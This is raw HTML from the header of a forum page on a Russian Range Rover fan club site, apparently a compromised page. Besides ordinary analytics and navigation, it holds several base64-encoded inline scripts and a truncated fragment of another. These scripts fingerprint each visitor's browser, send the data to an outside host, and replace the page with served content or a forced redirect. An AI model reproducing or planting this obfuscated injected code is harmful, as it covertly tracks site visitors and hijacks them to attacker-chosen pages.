W50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script> <!DOCTYPE html>
<html lang="ru">
<head>
<!-- Yandex.Metrika counter --> <script type="text/javascript"> (function (d, w, c) { (w[c] = w[c] || []).push(function() { try { w.yaCounter41217429 = new Ya.Metrika({ id:41217429, clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true, trackHash:true }); } catch(e) { } }); var n = d.getElementsByTagName("script")[0], s = d.createElement("script"), f = function () { n.parentNode.insertBefore(s, n); }; s.type = "text/javascript"; s.async = true; s.src = "https://mc.yandex.ru/metrika/watch.js"; if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } })(document, window, "yandex_metrika_callbacks"); </script> <noscript><div><img src="https://mc.yandex.ru/watch/41217429" style="position:absolute; left:-9999px;" alt="" /></div></noscript> <!-- /Yandex.Metrika counter -->
<meta name="yandex-verification" content="71f1e56b235e402a" />
<meta name="yandex-verification" content="ec94d2dc85252cab" />
<meta name="google-site-verification" content="QHxbURMCHAWFXlCawjp8QBZBByp3YMkMXbA5OG05AAc" />
<!-- New SEO-->
<meta name="yandex-verification" content="9674a927ba6df76a" />
<meta name="google-site-verification" content="1EEq4E5Xh4_4uv-98wPRnIn_31wfvA7HcQAPZdsZezg" />
<meta http-equiv="Content-type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />
<meta name="yandex-verification" content="d94876fd00c92110" />
<meta name="google-site-verification" content="aAMfGZzAbz4e0qPgw4h4Ojl6oyxAgxCSZpaqJKY8EBo" />
<meta property="og:image" content="http://rangeroverworld.ru/local/templates/newnew/assets/img/logo.png" />
<title>RANGE ROVER WORLD КЛУБ ИЗЫСКАННОЙ РОСКОШИ</title>
<link href='https://fonts.googleapis.com/css?family=Roboto:400,100,100italic,300,300italic,400italic,500,500italic,700,700italic,900italic,900&subset=latin,cyrillic-ext,cyrillic' rel='stylesheet' type='text/css'>
<link href="/local/templates/newnew/assets/css/fonts.css" rel="stylesheet">
<link href="/local/templates/newnew/assets/css/bootstrap.min.css" rel="stylesheet">
<link href="/local/templates/newnew/assets/css/bootstrap-theme.min.css" rel="stylesheet">
<link href="/local/templates/newnew/assets/css/main.css" rel="stylesheet">
<link href="/local/templates/newnew/assets/css/media.css" rel="stylesheet">
<link rel="stylesheet" href="/local/templates/newnew/assets/css/animation.css" type="text/css">
<link rel="stylesheet" href="/local/templates/newnew/assets/css/fontello.css" type="text/css">
<link rel="stylesheet" href="/local/templates/newnew/assets/css/fontello-codes.css" type="text/css">
<link rel="stylesheet" href="/local/templates/newnew/assets/css/fontello-embedded.css" type="text/css">
<link rel="stylesheet" href="/local/templates/newnew/assets/css/fontello-ie7.css" type="text/css">
<link rel="stylesheet" href="/local/templates/newnew/assets/css/fontello-ie7-codes.css" type="text/css">
<link rel="stylesheet" type="text/css" href="/local/templates/newnew/assets/fancybox/jquery.fancybox.css" media="screen">
<link rel="stylesheet" type="text/css" href="/local/templates/newnew/assets/css/slick.css"/>
<link rel="stylesheet" type="text/css" href="/maket/main/assets/css/venobox.css"/>
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
<link rel="stylesheet" type="text/css" href="/local/templates/newnew/assets/css/developer.css"/>
<script type="text/javascript" src="https://code.jquery.com/jquery-1.11.3.min.js"></script>
<script type="text/javascript" src="//cdn.jsdelivr.net/gh/kenwheeler/slick@1.6.0/slick/slick.min.js"></script>
<script>
$(document).ready(function() {
$('#menu > li').hover(function() {
if( $( this ).children("ul").css("display") == 'none' )
$( this ).children("ul").css( "display", "block" );
else
$( this ).children("ul").css( "display", "none" );
});
});
</script>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="description" content="Клуб фанатов Land Rover и Jaguar. RANGE ROVER WORLD КЛУБ ИЗЫСКАННОЙ РОСКОШИ" />
<link href="/bitrix/js/main/core/css/core.css?15046860246591" type="text/css" rel="stylesheet" />
<link href="/bitrix/js/socialservices/css/ss.css?15046860125037" type="text/css" rel="stylesheet" />
<link href="/local/templates/.default/components/bitrix/catalog.section.list/newnew_models_list/style.css?15092761157305" type="text/css" rel="stylesheet" />
<link href="/local/templates/.default/components/bitrix/news.list/newnew_dealers_map/style.css?150927611542" type="text/css" rel="stylesheet" />
<link href="/local/templates/.default/components/bitrix/news.list/newnew_techcenters_map/style.css?150927611539" type="text/css" rel="stylesheet" />
<link href="/local/templates/.default/components/bitrix/news.list/newnew_zapchasti_map/style.css?150927611544" type="text/css" rel="stylesheet" />
<link href="/local/templates/.default/components/bitrix/news.list/experts_opinion/style.css?1509276115150" type="text/css" rel="stylesheet" />
<link href="/local/templates/.default/components/bitrix/news.list/newnew_events_top/style.css?1509276115150" type="text/css" rel="stylesheet" />
<link href="/local/templates/.default/components/bitrix/news.list/newnew_events_all/style.css?1509276115150" type="text/css" rel="stylesheet" />
<link href="/local/templates/.default/components/bitrix/menu/newnew_top_menu/style.css?1509276115619" type="text/css" data-template-style="true" rel="stylesheet" />
<link href="/local/templates/.default/components/bitrix/system.auth.form/popup/style.css?1509276115447" type="text/css" data-template-style="true" rel="stylesheet" />
<link href="/bitrix/templates/.default/components/bitrix/socserv.auth.form/icons2/ss.css?15046842855195" type="text/css" data-template-style="true" rel="stylesheet" />
<link href="/bitrix/panel/main/popup.css?150467924823084" type="text/css" data-template-style="true" rel="stylesheet" />
<link href="/local/templates/newnew/template_styles.css?160475261336278" type="text/css" data-template-style="true" rel="stylesheet" />
<script type="text/javascript">if(!window.BX)window.BX={message:function(mess){if(typeof mess=='object') for(var i in mess) BX.message[i]=mess[i]; return true;}};</script>
<script type="text/javascript">(window.BX||top.BX).message({'JS_CORE_LOADING':'Загрузка...','JS_CORE_NO_DATA':'- Нет данных -','JS_CORE_WINDOW_CLOSE':'Закрыть','JS_CORE_WINDOW_EXPAND':'Развернуть','JS_CORE_WINDOW_NARROW':'Свернуть в окно','JS_CORE_WINDOW_SAVE':'Сохранить','JS_CORE_WINDOW_CANCEL':'Отменить','JS_CORE_WINDOW_CONTINUE':'Продолжить','JS_CORE_H':'ч','JS_CORE_M':'м','JS_CORE_S':'с','JSADM_AI_HIDE_EXTRA':'Скрыть лишние','JSADM_AI_ALL_NOTIF':'Показать все','JSADM_AUTH_REQ':'Требуется авторизация!','JS_CORE_WINDOW_AUTH':'Войти','JS_CORE_IMAGE_FULL':'Полный размер'});</script>
<script type="text/javascript">(window.BX||top.BX).message({'LANGUAGE_ID':'ru','FORMAT_DATE':'DD.MM.YYYY','FORMAT_DATETIME':'DD.MM.YYYY HH:MI:SS','COOKIE_PREFIX':'BITRIX_SM','SERVER_TZ_OFFSET':'10800','SITE_ID':'s1','SITE_DIR':'/','USER_ID':'','SERVER_TIME':'1716195295','USER_TZ_OFFSET':'0','USER_TZ_AUTO':'Y','bitrix_sessid':'6045f6d0a4c4a3d77bdbb9792dc5a965'});</script>
<script type="text/javascript" src="/bitrix/js/main/core/core.js?1504685995116711"></script>
<script type="text/javascript" src="/bitrix/js/main/core/core_db.js?150468599711148"></script>
<script type="text/javascript" src="/bitrix/js/main/core/core_ajax.js?150468599635622"></script>
<script type="text/javascript" src="/bitrix/js/main/json/json2.min.js?15046865443467"></script>
<script type="text/javascript" src="/bitrix/js/main/core/core_ls.js?150468653913325"></script>
<script type="text/javascript" src="/bitrix/js/main/core/core_fx.js?150468599916864"></script>
<script type="text/javascript" src="/bitrix/js/main/core/core_frame_cache.js?150468599817555"></script>
<script type="text/javascript" src="//api-maps.yandex.ru/2.1/?lang=ru-RU"></script>
<script type="text/javascript" src="/bitrix/js/main/core/core_window.js?150468600196650"></script>
<script type="text/javascript" src="/bitrix/js/socialservices/ss.js?15046859731419"></script>
<script type="text/javascript" src="/local/templates/.default/components/bitrix/system.auth.form/popup/script.js?15092761151752"></script>
<script type="text/javascript" src="/bitrix/templates/.default/components/bitrix/socserv.auth.form/icons2/ss.js?15046842851419"></script>
<script type="text/javascript" src="/bitrix/templates/newnew/assets/js/bootstrap.min.new.js?150468421637330"></script>
<script type="text/javascript" src="/bitrix/templates/newnew/assets/js/scripts.js?15046842164323"></script>
<script type="text/javascript" src="/local/templates/.default/components/bitrix/news.list/newnew_dealers_map/script.js?15092761151802"></script>
<script type="text/javascript" src="/local/templates/.default/components/bitrix/news.list/newnew_techcenters_map/script.js?15092761151992"></script>
<script type="text/javascript" src="/local/templates/.default/components/bitrix/news.list/newnew_zapchasti_map/script.js?15092761151997"></script>
<script type="text/javascript">var _ba = _ba || []; _ba.push(["aid", "be73ea53cc3ced56e29274b150cf03d2"]); _ba.push(["host", "rangeroverworld.ru"]); (function() {var ba = document.createElement("script"); ba.type = "text/javascript"; ba.async = true;ba.src = (document.location.protocol == "https:" ? "https://" : "http://") + "bitrix.info/ba.js";var s = document.getElementsByTagName("script")[0];s.parentNode.insertBefore(ba, s);})();</script>
</head>
<body id="top" class=" multiClass_forum multiClass_messages multiClass_forum86 multiClass_topic174412 multiClass_message194589 multiClass_">
<!-- Rating Mail.ru counter -->
<script type="text/javascript">
var _tmr = window._tmr || (window._tmr = []);
_tmr.push({id: "3160426", type: "pageView", start: (new Date()).getTime()});
(function (d, w, id) {
if (d.getElementById(id)) return;
var ts = d.createElement("script"); ts.type = "text/javascript"; ts.async = true; ts.id = id;
ts.src = "https://top-fwz1.mail.ru/js/code.js";
var f = function () {var s = d.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ts, s);};
if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); }
})(document, window, "topmailru-code");
</script><noscript><div>
<img src="https://top-fwz1.mail.ru/counter?id=3160426;js=na" style="border:0;position:absolute;left:-9999px;" alt="Top.Mail.Ru" />
</div></noscript>
<!-- //Rating Mail.ru counter -->
<div id="panel"></div>
<!--Начало: Виджет Facebook-->
<script>(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/ru_RU/sdk.js#xfbml=1&version=v2.4&appId=1622634524658915";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>
<!--Конец: Виджет Facebook-->
<nav class="pushy pushy-left" data-focus="#first-link">
<div class="pushy-content">
<ul>
<li class="pushy-link"><a href="/">Главная</a></li>
<li class="pushy-submenu"><a href="/avtozorro/">Автозорро</a></li>
<li class="pushy-submenu">
<button id="first-link">Новости</button>
<ul>
<li class="pushy-link"><a href="/news/autopartners/">Автоновости</a></li>
<li class="pushy-link"><a href="/news/partners/">Новости Land Rover</a></li>
<li class="pushy-link"><a href="/news/mnenie-ekspertov/">Мнение экспертов</a></li>
</ul>
</li>
<li class="pushy-link"><a href="/forum/">Форум</a></li>
<li class="pushy-link"><a href="/partners/">Партнеры</a></li>
<li class="pushy-submenu">
<button>О пректе</button>
<ul>
<li class="pushy-link"><a href="/about/history-landrover/">История Land Rover</a></li>
<li class="pushy-link"><a href="/about/history-jaguar/">История Jaguar</a></li>
<li class="pushy-link"><a href="/about/our-team/">Наша команда</a></li>
<li class="pushy-link"><a href="/about/kontakty/">Контакты</a></li>
</ul>
</li>
<li class="pushy-link"><a href="/ad/media-kit/">Медиакит</a></li>
</ul>
<div class="sot-push">
<noindex><a class="sot-set-1" href="https://www.facebook.com/groups/rangeroverworld/"></a></noindex>
<noindex><a class="sot-set-2" href="https://vk.com/public128987138"></a></noindex>
<noindex><a class="sot-set-3" href="https://www.instagram.com/rangeroverworld.ru/"></a></noindex>
<noindex><a class="sot-set-4" href="https://www.youtube.com/channel/UCoCqZztR6_p65GqgXdVRpYQ"></a></noindex>
</div>
</div>
</nav>
<div class="site-overlay"></div>
<header class="header">
<a id="top_login" class="log-in login" data-toggle="modal" data-target="#basicModal" href="javascript:void(0)"><i class="fa fa-user-o" aria-hidden="true"></i></a>
<div class="container-fluid">
<div class="row">
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<div class="row logo">
<a href="/"><img src="/local/templates/newnew/assets/img/logo.png" alt="Logo"></a>
</div>
</div>
<div class="col-lg-8 col-md-8 col-sm-10 col-xs-10 head__center">
<div class="row head__title">
Range Rover World клуб изысканной роскоши </div>
<div class="row">
<button type="button" class="menu-btn navbar-toggle" data-toggle="collapse" data-target="collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
<nav class="nav">
<a href="/cars/">МОДЕЛЬНЫЙ РЯД</a>
<a href="/news/">НОВОСТИ</a>
<a href="/forum/" class="active">ФОРУМ</a>
<a href="/photo/">ФОТО</a>
<a href="/partners/">ПАРТНЕРЫ</a>
<a href="/about/">О ПРОЕКТЕ</a>
<a href="/ad/">РЕКЛАМА</a>
<a href="/avtozorro/">АВТОЗОРРО</a>
</nav>
</div>
</div>
</div>
<div class="col-lg-2 col-md-2 hidden-sm hidden-xs">
<div class=" head__massege">
<div class="table__cell" style="padding: 50px 0 0;">
</div>
</div>
<div class="row log__ex">
<a id="top_login" class="login" data-toggle="modal" data-target="#basicModal" style="background:none;" href="javascript:void(0)">ВОЙТИ</a>
<a href="/register/">РЕГИСТРАЦИЯ</a>
</div>
</div>
</div>
</div>
</header>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT11ZXF0dWl2ajFpeTJpZTV0NjFrciZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
